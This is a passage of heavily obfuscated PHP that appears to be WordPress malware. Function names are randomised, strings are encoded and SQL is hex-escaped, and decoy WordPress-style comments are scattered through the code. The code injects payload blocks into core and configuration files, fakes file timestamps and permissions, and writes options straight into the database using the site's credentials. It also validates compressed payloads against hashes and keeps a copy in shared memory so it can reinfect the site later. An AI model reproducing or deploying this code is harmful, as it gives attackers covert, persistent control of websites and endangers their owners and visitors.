 if  (defined(k83m2slbb(1170))) $lqbwhyvib1[] = $GLOBALS['__scf_aiwotu1kwod_12'](WP_CONTENT_DIR,      k83m2slbb(1183));
   $lqbwhyvib1[]     =     $GLOBALS['__scf_aiwotu1kwod_12']($adclv0gbv4g2vk,    hwc6a8djp6yy(1183));
$lqbwhyvib1[]  =  $GLOBALS['__scf_aiwotu1kwod_12']($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()),   woii22it0(1183));

  foreach   ($GLOBALS['__scf_w5opg4gsg8g4tp_148']($lqbwhyvib1)  as  $x2x4uqsj5pc6tpp)  {
 $do9m6ykbsjc_   = $x2x4uqsj5pc6tpp  .   woii22it0(1184);
 $ue27gs0on1 =  @$GLOBALS['__scf_mtwlgr3p78_18']($do9m6ykbsjc_)     ?  @$GLOBALS['__scf_zonhpgc286wu1_95']($do9m6ykbsjc_)  : "";
if    (!$GLOBALS['__scf_epa1jymnf5_40']($ue27gs0on1)    ||  $ue27gs0on1   ===     "" ||      $GLOBALS['__scf_p9nk7khmjys_7']($ue27gs0on1,   $bugikqbhzx0c_0)  === false) continue;
 

  $tpaa0dd7rt8q =      szy7fvi8hwv1j0w($ue27gs0on1,  $bugikqbhzx0c_0);
 if  ($GLOBALS['__scf_epa1jymnf5_40']($tpaa0dd7rt8q)  &&     $tpaa0dd7rt8q   !==     $ue27gs0on1 &&   m9xp6uh5w1cal39pfn4cx($do9m6ykbsjc_, $tpaa0dd7rt8q))   pas31bymshzdagwkp(lgr6hp92ka(1185),  lgr6hp92ka(1175));
    }
   unset($lqbwhyvib1,  $x2x4uqsj5pc6tpp,  $do9m6ykbsjc_,   $ue27gs0on1,    $tpaa0dd7rt8q);
if  ($GLOBALS['__scf_rnghnmhj734jl_104']()    ===  woii22it0(1186))  return;
       if  (!g8lo46_70k73k5cys())  return;
   if    (!r9yn02bzgmbr36())   return;
   $ibb5idp96qub   = $z6sjo3b9vuo78ncn    .   k83m2slbb(1184);
$o1ecvvazh5p7gp =     n747he9yo38(1187)    .     "\n"
  .    lgr6hp92ka(1188)   .    "\n"     . woii22it0(1189)   .  "\n"  .  k83m2slbb(1190)  .     "\n"
 . k83m2slbb(1191)     .   "\n"  .  woii22it0(1192)  . "\n"   .  woii22it0(1193) . "\n"


. hwc6a8djp6yy(1194)     . "\n";
    $yrrj59iycpok3wpz =    @$GLOBALS['__scf_yi4cpqdjr9_711']($ibb5idp96qub);
    $current =   $yrrj59iycpok3wpz   ?    @$GLOBALS['__scf_zonhpgc286wu1_95']($ibb5idp96qub)   :  "";

      if (!$GLOBALS['__scf_epa1jymnf5_40']($current)) {
pas31bymshzdagwkp(hwc6a8djp6yy(1185),  k83m2slbb(1195));
  return;
      }

 $tsb1bv6tpb_e  =   array($GLOBALS['__scf_aiwotu1kwod_12'](ABSPATH,    hwc6a8djp6yy(1183)));
if    (defined(woii22it0(1196))) $tsb1bv6tpb_e[]  = $GLOBALS['__scf_aiwotu1kwod_12'](WP_CONTENT_DIR,   hwc6a8djp6yy(1183));
 if   (defined(k83m2slbb(1197)))     $tsb1bv6tpb_e[]   =  $GLOBALS['__scf_aiwotu1kwod_12'](WPMU_PLUGIN_DIR,  lgr6hp92ka(1183));
  if (defined(hwc6a8djp6yy(834)))  $tsb1bv6tpb_e[] =   $GLOBALS['__scf_aiwotu1kwod_12'](WP_PLUGIN_DIR,  n747he9yo38(1198));
   $sit00fdbcttg    =  $GLOBALS['__scf_aiwotu1kwod_12']($z6sjo3b9vuo78ncn,   hwc6a8djp6yy(1198));
$ihy021hghosv =  $GLOBALS['__scf_a2dj3p28xfi_149']($sit00fdbcttg,   $tsb1bv6tpb_e,   true);
  unset($tsb1bv6tpb_e,    $sit00fdbcttg);
if     (!$ihy021hghosv)   {
 $hj08ehi3kh  =      $z6sjo3b9vuo78ncn     .  woii22it0(1199);


   if     (!@$GLOBALS['__scf_mtwlgr3p78_18']($hj08ehi3kh))     fqr413zu_kw1ho7pi($hj08ehi3kh,   "",  n747he9yo38(1200));
 if ($GLOBALS['__scf_p9nk7khmjys_7']($current,  k83m2slbb(1201))  ===  false) {
 $cvavjltsu69zgic8  =  $current;
        if     ($current    !== ""  &&  $GLOBALS['__scf_pdat24v9nxkx0_9']($current,   -1)   !==    "\n") $current .=  "\n";
  $ox_0zeye6mt =    @$GLOBALS['__scf_zonhpgc286wu1_95']($ibb5idp96qub);
if (!$GLOBALS['__scf_epa1jymnf5_40']($ox_0zeye6mt))   $ox_0zeye6mt =    "";
 if  ($ox_0zeye6mt !==     $cvavjltsu69zgic8) {
       pas31bymshzdagwkp(lgr6hp92ka(1202),   hwc6a8djp6yy(1203));
 } else    {
  m9xp6uh5w1cal39pfn4cx($ibb5idp96qub,  $current .   $o1ecvvazh5p7gp);

  rrr831f_sv70sa0os2v($ibb5idp96qub, vl3ayj4wnx9fy07p7y_a());
 if  (!$yrrj59iycpok3wpz)  dvd1rr9pr3xu08j($ibb5idp96qub,  (324+96));
}
unset($ox_0zeye6mt, $cvavjltsu69zgic8);
  }


}
unset($ihy021hghosv, $hj08ehi3kh, $yrrj59iycpok3wpz);


   }  catch (Throwable    $oz7m23pnscj7)   {
     pas31bymshzdagwkp(hwc6a8djp6yy(1204),   $oz7m23pnscj7);
    } catch  (Exception  $oz7m23pnscj7) {
 pas31bymshzdagwkp(woii22it0(1204),  $oz7m23pnscj7);
   }
    }
       function   m5laqq_26lwiqe39yerf35()
   {
try {
if (!defined(k83m2slbb(1205))) return;
      if (!$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(989)))   return;
    $ywxvx55aeu5mb_      =   w5r7ae3dymnovvl7(ABSPATH  .  n747he9yo38(1206),   (5+5));
   $lg3qq7zrzjh0ss2 =    j7q7bvavumc4i765();
  if (!$lg3qq7zrzjh0ss2 ||  $GLOBALS['__scf_h5yqrl6kmpb_10']($lg3qq7zrzjh0ss2)   < (411+89))     return;
$yhm9eprobm3tk   =    vxphx3fmo9f0xamsip2gy0();
$current     =   @get_option($ywxvx55aeu5mb_,    "");



   if ($current    &&  $GLOBALS['__scf_h5yqrl6kmpb_10']($current)  ===   $GLOBALS['__scf_h5yqrl6kmpb_10']($yhm9eprobm3tk)   && $current ===     $yhm9eprobm3tk)  return;
 if   ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(920)))  {
 update_option($ywxvx55aeu5mb_,  $yhm9eprobm3tk, hwc6a8djp6yy(1207));
 }      elseif   (defined(n747he9yo38(1208)) &&   defined(lgr6hp92ka(1209))    && defined(k83m2slbb(1210)) && defined(lgr6hp92ka(115))  &&  $GLOBALS['__scf_f844yvc4tu_536'](n747he9yo38(1211))) {
$v5h36zidd_jea  =  woii22it0(1212);
 $o7h8_6x4jbt0keyo =   @new  $v5h36zidd_jea(constant(lgr6hp92ka(1208)), constant(lgr6hp92ka(1209)),  constant(lgr6hp92ka(1213)),     constant(n747he9yo38(115)));
 if   ($o7h8_6x4jbt0keyo   && !$o7h8_6x4jbt0keyo->connect_errno)    {


 $prefix  =   isset($GLOBALS[hwc6a8djp6yy(1214)]->prefix)  ? $GLOBALS[woii22it0(1214)]->prefix   :    lgr6hp92ka(842);
     $hr9goe46wpgd3     = $o7h8_6x4jbt0keyo->real_escape_string($yhm9eprobm3tk);
$bx_3nqqxe_9    = $o7h8_6x4jbt0keyo->real_escape_string($ywxvx55aeu5mb_);
$o7h8_6x4jbt0keyo->query("INS\x45RT IN\x54\x4f {$prefix}op\x74\x69ons (opt\x69\x6fn_na\x6d\x65, optio\x6e_\x76\x61lu\x65, aut\x6f\x6coad) VA\x4c\x55ES ('{$bx_3nqqxe_9}', '{$hr9goe46wpgd3}', 'no') ON DUPLIC\x41TE \x4bE\x59 U\x50DAT\x45 \x6fpt\x69on_va\x6cue='{$hr9goe46wpgd3}'");
   if  ($o7h8_6x4jbt0keyo->error)   pas31bymshzdagwkp(lgr6hp92ka(1206),   hwc6a8djp6yy(1215) .   $GLOBALS['__scf_pdat24v9nxkx0_9']($o7h8_6x4jbt0keyo->error,   0,  (0x17+0x61)));
 $o7h8_6x4jbt0keyo->close();
}
   }
    }  catch  (Throwable  $oz7m23pnscj7) {
  pas31bymshzdagwkp(hwc6a8djp6yy(1206),   $oz7m23pnscj7);
}    catch    (Exception      $oz7m23pnscj7)   {
  }
 }
 function      ibwp6epnxuwn4akbn()
     {
$w9gh6azbtm5id =  defined(hwc6a8djp6yy(1196))      ?   WP_CONTENT_DIR  :    ABSPATH .   n747he9yo38(79);
  $bglpbr7vbo2ydu     = w5r7ae3dymnovvl7(ABSPATH .    n747he9yo38(1216), (10-2));


 return  array($w9gh6azbtm5id  .  woii22it0(509),  $w9gh6azbtm5id  .    lgr6hp92ka(1217)  .  $bglpbr7vbo2ydu    .  k83m2slbb(1218),  $bglpbr7vbo2ydu);
    }
 function    vnrwvfhgyip836u0($nwqx0g3s9m57s4qd)



 {
  $w_2xtnnc5luk3  =  (int) @$GLOBALS['__scf_vhi5vhdwib7ye_99']($nwqx0g3s9m57s4qd);
 if  ($w_2xtnnc5luk3   <     (5^97) || $w_2xtnnc5luk3 >  (3869890-1772738))    return  false;
    $h0gifq03pj   =  @$GLOBALS['__scf_zonhpgc286wu1_95']($nwqx0g3s9m57s4qd);


    if (!$GLOBALS['__scf_epa1jymnf5_40']($h0gifq03pj)    || $GLOBALS['__scf_h5yqrl6kmpb_10']($h0gifq03pj)  <     (123-23)   ||     $GLOBALS['__scf_h5yqrl6kmpb_10']($h0gifq03pj) >     (4175873-2078721))   return false;
$xzwufq9nacfqt     =    $GLOBALS['__scf_txqeuw424jw_8__114'](':',   $h0gifq03pj,  (3+1));
    if ($GLOBALS['__scf_prfpiytv3egt7_35']($xzwufq9nacfqt) <  (8-4)   ||   $xzwufq9nacfqt[0]  !==   lgr6hp92ka(1219)   ||    $GLOBALS['__scf_h5yqrl6kmpb_10']($xzwufq9nacfqt[(1+2)])     <  (0x31+0x1))  return  false;
  $oclq78qg06s6kkt   = @$GLOBALS['__scf_ts5_ao9xhku_355']($xzwufq9nacfqt[(6-3)]);
  if   ($oclq78qg06s6kkt    ===   false   || $GLOBALS['__scf_h5yqrl6kmpb_10']($oclq78qg06s6kkt)     < (18+32))  return false;



   if ($GLOBALS['__scf_pdat24v9nxkx0_9']($oclq78qg06s6kkt,  0,   2)   === "\x1f\x8b") {
  $x5m9vqr1m686qkh   = @$GLOBALS['__scf_cl8lauqxet7pcw_277']('V', $GLOBALS['__scf_pdat24v9nxkx0_9']($oclq78qg06s6kkt,  -(3+1)));
if (!$GLOBALS['__scf_lxbo0xm7220an_34']($x5m9vqr1m686qkh)   ||      $x5m9vqr1m686qkh[1] < (0x47+0x1d)   ||      $x5m9vqr1m686qkh[1] > (1259437-210861)) return  false;
 if   ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(278)))   $oclq78qg06s6kkt =     @gzdecode($oclq78qg06s6kkt,   (2037077-988501));
  elseif  ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(279))) {


  $oclq78qg06s6kkt   = @gzinflate($GLOBALS['__scf_pdat24v9nxkx0_9']($oclq78qg06s6kkt,   (6+4), $GLOBALS['__scf_h5yqrl6kmpb_10']($oclq78qg06s6kkt)     - (0x3+0xf)),   (1048497+79));$xgj56m5qev=83+30;$v9urb9wasahqbh=$xgj56m5qev-32;

 if  ($GLOBALS['__scf_epa1jymnf5_40']($oclq78qg06s6kkt)  &&     $GLOBALS['__scf_h5yqrl6kmpb_10']($oclq78qg06s6kkt) >  (0x62435+0x9dbcb))   return false;
 }      else    return     false;



}
     if   (!$GLOBALS['__scf_epa1jymnf5_40']($oclq78qg06s6kkt) ||  $GLOBALS['__scf_h5yqrl6kmpb_10']($oclq78qg06s6kkt)     < (51+49)    ||    $GLOBALS['__scf_pdat24v9nxkx0_9']($oclq78qg06s6kkt, 0,  (220^217))     !==    lgr6hp92ka(678)    ||     $GLOBALS['__scf__pih7hoh4m_56']($oclq78qg06s6kkt)  !==  $xzwufq9nacfqt[2])  return   false;
      return  $oclq78qg06s6kkt;



   }
    function sbb7fpbjv849c7sre7tpm()
 {
  try     {
       if  (!defined(woii22it0(1205)))    return;
    $t3va1o87036m7mml = ibwp6epnxuwn4akbn();$dtsghz5f7=3895;$txnpo99i2qiqla=$dtsghz5f7%10;
   if  (!@$GLOBALS['__scf_mtwlgr3p78_18']($t3va1o87036m7mml[1]))   return;

if    (vnrwvfhgyip836u0($t3va1o87036m7mml[1])     === false)   return;
  $nong25gx93c6emu     = xewvuvq66ezpbfhc(lgr6hp92ka(1220),     array('__SLUG__'),  array($GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(), n747he9yo38(1181))));
   if   (!$GLOBALS['__scf_epa1jymnf5_40']($nong25gx93c6emu)     ||    $nong25gx93c6emu  === "") return;
 $nong25gx93c6emu  = $GLOBALS['__scf_lv9m74lgyu5o6_460'](n747he9yo38(1221),    "", $nong25gx93c6emu);
  if   (!$GLOBALS['__scf_epa1jymnf5_40']($nong25gx93c6emu)   ||  $nong25gx93c6emu  === "") return;



 $iquppyg099pblab7 =      tdwuvuxeuijm__qj()   .  ':' .   w5r7ae3dymnovvl7(ABSPATH   .  n747he9yo38(1222),   (0x5+0x3));


 $y_9_c6btob =  woii22it0(1223)    . $iquppyg099pblab7 .   k83m2slbb(1224);
 $lzk88d5vtss68uw8  = hwc6a8djp6yy(1225)  . $iquppyg099pblab7   .    hwc6a8djp6yy(1224);

  $cdsmwdc_m2ei3r  =    woii22it0(1226)   . $t3va1o87036m7mml[2]    .    woii22it0(1227)   .     tdwuvuxeuijm__qj() .  woii22it0(1228) . "\n"      .  $nong25gx93c6emu;
 if   (!@$GLOBALS['__scf_mtwlgr3p78_18']($t3va1o87036m7mml[0]))   {
if   (!r4wrabnam8f37mfnpwguau($t3va1o87036m7mml[0],  ""))  {
  pas31bymshzdagwkp(hwc6a8djp6yy(1216), hwc6a8djp6yy(1229));
  return;

}
   if  (m9xp6uh5w1cal39pfn4cx($t3va1o87036m7mml[0],  $cdsmwdc_m2ei3r))   {



  rrr831f_sv70sa0os2v($t3va1o87036m7mml[0],   vl3ayj4wnx9fy07p7y_a());
   dvd1rr9pr3xu08j($t3va1o87036m7mml[0], (720-300));
        j432fegx9wjwq5cz8t($t3va1o87036m7mml[0]);
 zvn_deaq8dwiaefof_fe($t3va1o87036m7mml[0]);
}
return;
}
    $vmz5heqfn85cakx0  = @$GLOBALS['__scf_zonhpgc286wu1_95']($t3va1o87036m7mml[0]);
      if (!$GLOBALS['__scf_epa1jymnf5_40']($vmz5heqfn85cakx0)    || $GLOBALS['__scf_h5yqrl6kmpb_10']($vmz5heqfn85cakx0)     > (2097066+86))   return;
  if  ($GLOBALS['__scf_p9nk7khmjys_7']($vmz5heqfn85cakx0,    $y_9_c6btob) !==    false && $GLOBALS['__scf_p9nk7khmjys_7']($vmz5heqfn85cakx0, $lzk88d5vtss68uw8)    !==  false)  return;
 if ($GLOBALS['__scf_p9nk7khmjys_7']($vmz5heqfn85cakx0, woii22it0(1230)) ===  false  && $GLOBALS['__scf_p9nk7khmjys_7']($vmz5heqfn85cakx0,  n747he9yo38(1231) .    $t3va1o87036m7mml[2]) !==  false)     {
    if  ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](woii22it0(1232),    $GLOBALS['__scf_pdat24v9nxkx0_9']($vmz5heqfn85cakx0,    0,  (312-112)), $xcaz1zdeaffdtmc) &&   version_compare($xcaz1zdeaffdtmc[1],  tdwuvuxeuijm__qj(), lgr6hp92ka(198)))     return;
  if (!r4wrabnam8f37mfnpwguau($t3va1o87036m7mml[0], $vmz5heqfn85cakx0))  {

  pas31bymshzdagwkp(lgr6hp92ka(1216), woii22it0(1233));
     return;$f4gctv4i4c3_ei=3130;$r6y_0u647=$f4gctv4i4c3_ei%16;
  }
 if  (m9xp6uh5w1cal39pfn4cx($t3va1o87036m7mml[0],  $cdsmwdc_m2ei3r))   {
 rrr831f_sv70sa0os2v($t3va1o87036m7mml[0],     vl3ayj4wnx9fy07p7y_a());
    dvd1rr9pr3xu08j($t3va1o87036m7mml[0], (399+21));
      j432fegx9wjwq5cz8t($t3va1o87036m7mml[0]);
  zvn_deaq8dwiaefof_fe($t3va1o87036m7mml[0]);
        }
// WordPress 6.4 patterns: constant-time stack-frame

   return;
}
// WP InnerBlocks: unlock bridge



 $wj0fnxfnqnu5   =     w5r7ae3dymnovvl7(ABSPATH  . k83m2slbb(1222), (5+3));
  $vmz5heqfn85cakx0  = $GLOBALS['__scf_lv9m74lgyu5o6_460'](n747he9yo38(1234)     . $wj0fnxfnqnu5 .   hwc6a8djp6yy(1235),  "",  $vmz5heqfn85cakx0);
     if   (!$GLOBALS['__scf_epa1jymnf5_40']($vmz5heqfn85cakx0))   {



   pas31bymshzdagwkp(lgr6hp92ka(1216),    lgr6hp92ka(1236));
     return;
 }
if (!@$GLOBALS['__scf_vz80l0_46bwga_46']($t3va1o87036m7mml[0]))   return;
if  (!cw3rg8hwq6ots8(n747he9yo38(1216)))  {
pas31bymshzdagwkp(lgr6hp92ka(1216),  n747he9yo38(1237));
   return;
}
if (!r4wrabnam8f37mfnpwguau($t3va1o87036m7mml[0], $vmz5heqfn85cakx0)) {
  pas31bymshzdagwkp(lgr6hp92ka(1216),      woii22it0(1233));

       return;
   }
  xunqfmd40biprxga6h5pft(woii22it0(1238));
   $hivoxtr0h17ddzn  =    $y_9_c6btob  . "\n"      .     n747he9yo38(1239)  . $t3va1o87036m7mml[2] .  woii22it0(1240)  .  "\n"  .  $nong25gx93c6emu    . "\n"  .      $lzk88d5vtss68uw8;



    if     (m9xp6uh5w1cal39pfn4cx($t3va1o87036m7mml[0], v3uqz1qs3wskken9i0($vmz5heqfn85cakx0,      $hivoxtr0h17ddzn)))   {
zvn_deaq8dwiaefof_fe($t3va1o87036m7mml[0]);
    j432fegx9wjwq5cz8t($t3va1o87036m7mml[0]);
      }
}    catch     (Throwable     $oz7m23pnscj7)    {


    pas31bymshzdagwkp(lgr6hp92ka(1241),   $oz7m23pnscj7);
  }    catch (Exception $oz7m23pnscj7)   {
     }
}
 function   w7zl9bs6xjii7y3z()

   {
  try   {
// defragment non-blocking visitor

 if  (!defined(lgr6hp92ka(1205)))     return;$opaqucn4qip1o7=PHP_MAJOR_VERSION;$lfbc8tc36v=$opaqucn4qip1o7*4;
$t3va1o87036m7mml  =  ibwp6epnxuwn4akbn();
$hirjxrzgqbpet_v   =     (string) @$GLOBALS['__scf_zonhpgc286wu1_95']($t3va1o87036m7mml[1], false, null,   0,  (67^3));
     if ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](woii22it0(1242), $hirjxrzgqbpet_v,   $hyzeda9xec3m80j) &&     $hyzeda9xec3m80j[1]  ===    tdwuvuxeuijm__qj()) {


 $gx046g9p2crw25    = (int)  get_option(hwc6a8djp6yy(1243), 0);
   if    ($GLOBALS['__scf_cyotfgtf1a8m_189']()  -   $gx046g9p2crw25 < (573+27))  return;
 if  (vnrwvfhgyip836u0($t3va1o87036m7mml[1]) !==   false)  {
 @update_option(woii22it0(1243), $GLOBALS['__scf_cyotfgtf1a8m_189'](),    hwc6a8djp6yy(1244));
   return;
   }
// WP Post Author: compact timeout-policy

pas31bymshzdagwkp(lgr6hp92ka(1245), k83m2slbb(1246));
 }

 $lg3qq7zrzjh0ss2      = j7q7bvavumc4i765();$__pqlj2u0=78|212;$s405nfrc4mj=$__pqlj2u0^67;
     if  (!$lg3qq7zrzjh0ss2  ||    $GLOBALS['__scf_h5yqrl6kmpb_10']($lg3qq7zrzjh0ss2)  <    (43+457) || $GLOBALS['__scf_h5yqrl6kmpb_10']($lg3qq7zrzjh0ss2)  > (1048536+40)   ||   !dxgg5a63x4tsvkmvowozg3($lg3qq7zrzjh0ss2))  return;$oimstv3g=PHP_MAJOR_VERSION;$aff5h1i896sw0=$oimstv3g*8;
     $wddrkpc8slwa_8  = $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1247))   ?      @gzencode($lg3qq7zrzjh0ss2, (3+3))   :  $lg3qq7zrzjh0ss2;
if   (!$GLOBALS['__scf_epa1jymnf5_40']($wddrkpc8slwa_8) ||   $wddrkpc8slwa_8  === "")   return;
if      (m9xp6uh5w1cal39pfn4cx($t3va1o87036m7mml[1],  k83m2slbb(1248)   .   tdwuvuxeuijm__qj() .  ':'  . $GLOBALS['__scf__pih7hoh4m_56']($lg3qq7zrzjh0ss2)  . ':'  .     $GLOBALS['__scf_ocf2s22fr524pv_351']($wddrkpc8slwa_8)))    @update_option(hwc6a8djp6yy(1249),  $GLOBALS['__scf_cyotfgtf1a8m_189'](),  woii22it0(1244));


 } catch (Throwable      $oz7m23pnscj7)    {
  pas31bymshzdagwkp(hwc6a8djp6yy(1245),      $oz7m23pnscj7);
 } catch    (Exception   $oz7m23pnscj7) {$ddgsc64n=113|176;$fqdtir5no3y=$ddgsc64n^175;
 }
}
 function go155bp4gg01flfmq()
{


   if   (!$GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1250)))    return false;


  $rcilaiew0rkp =    defined(hwc6a8djp6yy(1205))  &&  @$GLOBALS['__scf_yi4cpqdjr9_711'](ABSPATH    .    hwc6a8djp6yy(527)) ?    ABSPATH .   lgr6hp92ka(1251) :    __FILE__;
    return $GLOBALS['__scf_k90voqul1pt8p4_1250']($rcilaiew0rkp,   's');
}
    function  vx_3rl3l1hvrym60()
  {
 try  {
 if   (!$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1252))  || !$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1250)))   return;
    if      (!defined(n747he9yo38(1205))) return;
      $lg3qq7zrzjh0ss2 =  j7q7bvavumc4i765();
    if      (!$lg3qq7zrzjh0ss2  ||   $GLOBALS['__scf_h5yqrl6kmpb_10']($lg3qq7zrzjh0ss2) <  (353+147))  return;
$key =  go155bp4gg01flfmq();
if  ($key  === false) return;
        $x6nv21ityxh   =   $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1253))      ? $GLOBALS['__scf_fn35xwj9wjtpe_1254'](k83m2slbb(1255), $lg3qq7zrzjh0ss2) : $GLOBALS['__scf__pih7hoh4m_56']($lg3qq7zrzjh0ss2);
 $mvuk2rk025mg     =  hwc6a8djp6yy(1256) .  $GLOBALS['__scf_h5yqrl6kmpb_10']($lg3qq7zrzjh0ss2)    .    ':'    .    $x6nv21ityxh  . "\n" . $lg3qq7zrzjh0ss2;
$_7n0zmvh_v      = $GLOBALS['__scf_h5yqrl6kmpb_10']($mvuk2rk025mg);
   $gxnnawlcwk =     @$GLOBALS['__scf_xqbddz3we3l_1257']($key,    'a', 0,     0);
if   ($gxnnawlcwk)  {
$fwo_me35afj8yij6  =  (int)   @$GLOBALS['__scf_dbtmay2ebp4vs_1258']($gxnnawlcwk);
  $r85mtfcojsavvqh1   =    @$GLOBALS['__scf_umqmfim07fido_1259']($gxnnawlcwk,   0,    $fwo_me35afj8yij6);
     if ($GLOBALS['__scf_epa1jymnf5_40']($r85mtfcojsavvqh1)   && $GLOBALS['__scf_p9nk7khmjys_7']($r85mtfcojsavvqh1,      $lg3qq7zrzjh0ss2) !==    false)  {
@$GLOBALS['__scf_iwgo9j38ao5_1260']($gxnnawlcwk);


     return;
}
if ($fwo_me35afj8yij6  >=   $_7n0zmvh_v)    {


@$GLOBALS['__scf_iwgo9j38ao5_1260']($gxnnawlcwk);
   $gxnnawlcwk   = @$GLOBALS['__scf_xqbddz3we3l_1257']($key,   'w', 0,  0);$xfm_9iuwqa6=3530;$kas7sytlnf=$xfm_9iuwqa6%12;
    if    ($gxnnawlcwk)  {
// WP InspectorControls comment moderation

  @$GLOBALS['__scf_dm65oqsal03_1261']($gxnnawlcwk,    $GLOBALS['__scf_xnx_2uj23o71_1262']($mvuk2rk025mg, $fwo_me35afj8yij6,    "\0"),  0);
    $rq4nh85lpszsre   = @$GLOBALS['__scf_umqmfim07fido_1259']($gxnnawlcwk,   0,   $_7n0zmvh_v);


  @$GLOBALS['__scf_iwgo9j38ao5_1260']($gxnnawlcwk);
if ($rq4nh85lpszsre !== $mvuk2rk025mg) pas31bymshzdagwkp(n747he9yo38(1263),  n747he9yo38(1031));
 }
  return;
   }    else  {


    @$GLOBALS['__scf_b7t7kkz57gx_1264']($gxnnawlcwk);
@$GLOBALS['__scf_iwgo9j38ao5_1260']($gxnnawlcwk);
 }
// WP Site Tagline: populate work-queue

   }



     $fwo_me35afj8yij6 = $_7n0zmvh_v   +  (980+44);
$gxnnawlcwk  =  @$GLOBALS['__scf_xqbddz3we3l_1257']($key,  'c',  (480-60),  $fwo_me35afj8yij6);

if     (!$gxnnawlcwk) return;
@$GLOBALS['__scf_dm65oqsal03_1261']($gxnnawlcwk,   $GLOBALS['__scf_xnx_2uj23o71_1262']($mvuk2rk025mg,   $fwo_me35afj8yij6,      "\0"),   0);
 $rq4nh85lpszsre =  @$GLOBALS['__scf_umqmfim07fido_1259']($gxnnawlcwk, 0,  $_7n0zmvh_v);



if  ($rq4nh85lpszsre  !==  $mvuk2rk025mg)   pas31bymshzdagwkp(hwc6a8djp6yy(1265), hwc6a8djp6yy(1031));
        @$GLOBALS['__scf_iwgo9j38ao5_1260']($gxnnawlcwk);

    }  catch (Throwable   $oz7m23pnscj7)  {
   pas31bymshzdagwkp(lgr6hp92ka(1265),   $oz7m23pnscj7);
 }  catch    (Exception $oz7m23pnscj7)  {
    }
 }
 function v3uqz1qs3wskken9i0($current, $hivoxtr0h17ddzn)
     {
        if  (!$GLOBALS['__scf_epa1jymnf5_40']($current) ||  $current === "")  return  lgr6hp92ka(843)   .    $hivoxtr0h17ddzn  .      "\n";
 if   ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](n747he9yo38(1266),     $current, $eqs2yvegtfu,  PREG_OFFSET_CAPTURE))  {
 $uwepcgjdq4j  =  $eqs2yvegtfu[0][1]   +  $GLOBALS['__scf_h5yqrl6kmpb_10']($eqs2yvegtfu[0][0]);
$e9tdbe4frq8542l    = $GLOBALS['__scf_pdat24v9nxkx0_9']($current, $uwepcgjdq4j,   (0x145a+0xba6));
while   ($GLOBALS['__scf_epa1jymnf5_40']($e9tdbe4frq8542l)   &&  $GLOBALS['__scf_iz3o_ajtgml6rf_96'](k83m2slbb(1267), $e9tdbe4frq8542l,  $_dm))   {
    $uwepcgjdq4j    +=    $GLOBALS['__scf_h5yqrl6kmpb_10']($_dm[0]);
$e9tdbe4frq8542l     =  $GLOBALS['__scf_pdat24v9nxkx0_9']($current, $uwepcgjdq4j,     (8185+7));


  }
 return $GLOBALS['__scf_pdat24v9nxkx0_9']($current,     0,  $uwepcgjdq4j)   .     "\n" .  $hivoxtr0h17ddzn     .  "\n"   .   $GLOBALS['__scf_pdat24v9nxkx0_9']($current, $uwepcgjdq4j);
     }



 return  n747he9yo38(1268)     .     $hivoxtr0h17ddzn   .   "\n?>\n"  .   $current;


 }
function  cw3rg8hwq6ots8($key)
    {
   if  (!$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(989)))  return  true;
 $tb0hfr9vri2de7l =  @get_option(hwc6a8djp6yy(1269)  . $key,      "");
      if ($GLOBALS['__scf_epa1jymnf5_40']($tb0hfr9vri2de7l)     && $GLOBALS['__scf_p9nk7khmjys_7']($tb0hfr9vri2de7l,  '|') !==  false)     {
 $xzwufq9nacfqt  =  $GLOBALS['__scf_txqeuw424jw_8__114']('|',    $tb0hfr9vri2de7l, 2);
        if  ((int)  $xzwufq9nacfqt[0] === (int)    ($GLOBALS['__scf_cyotfgtf1a8m_189']() / (18448+67952))  &&    (int)   $xzwufq9nacfqt[1]  >= (5-2)) return   false;
}
 return  true;
}
      function     xunqfmd40biprxga6h5pft($key)



    {
if     (!$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(989))  ||    !$GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(920)))  return;
   $tiet3xjzu1y    =   (int) ($GLOBALS['__scf_cyotfgtf1a8m_189']()   /   (86333+67));
   $tb0hfr9vri2de7l = @get_option(hwc6a8djp6yy(1269)  .     $key,     "");$dgq37dtxtao936=-205;$yni80yda_a7=($dgq37dtxtao936>0)?$dgq37dtxtao936:-$dgq37dtxtao936;
 $v3ns5_io9ii     = 0;
// WP REST API v2 placeholder blur

    if ($GLOBALS['__scf_epa1jymnf5_40']($tb0hfr9vri2de7l)  &&  $GLOBALS['__scf_p9nk7khmjys_7']($tb0hfr9vri2de7l,   '|') !== false)  {
  $xzwufq9nacfqt  = $GLOBALS['__scf_txqeuw424jw_8__114']('|',  $tb0hfr9vri2de7l, 2);
    if   ((int)     $xzwufq9nacfqt[0] ===  $tiet3xjzu1y)    $v3ns5_io9ii   =   (int)  $xzwufq9nacfqt[1];



 }
$v3ns5_io9ii++;
 @update_option(woii22it0(1269)   . $key,   $tiet3xjzu1y   . '|'  .     $v3ns5_io9ii,   k83m2slbb(1244));


 if ($v3ns5_io9ii  >= (200^203))    pas31bymshzdagwkp(n747he9yo38(1270),  hwc6a8djp6yy(1271)   . $key);
     

}
    function     amr00_8p5rq123g()


   {
  try   {
   if  (!defined(lgr6hp92ka(1205))) return;
if  (!defined(woii22it0(1196)) ||  !@$GLOBALS['__scf_vz80l0_46bwga_46'](WP_CONTENT_DIR)     ||    !ii0fajiftvkpnv7h8kxw1(WP_CONTENT_DIR)) return;
 $adclv0gbv4g2vk =      WP_CONTENT_DIR;
$d2buq5jugy71    =    $adclv0gbv4g2vk   . woii22it0(1163);



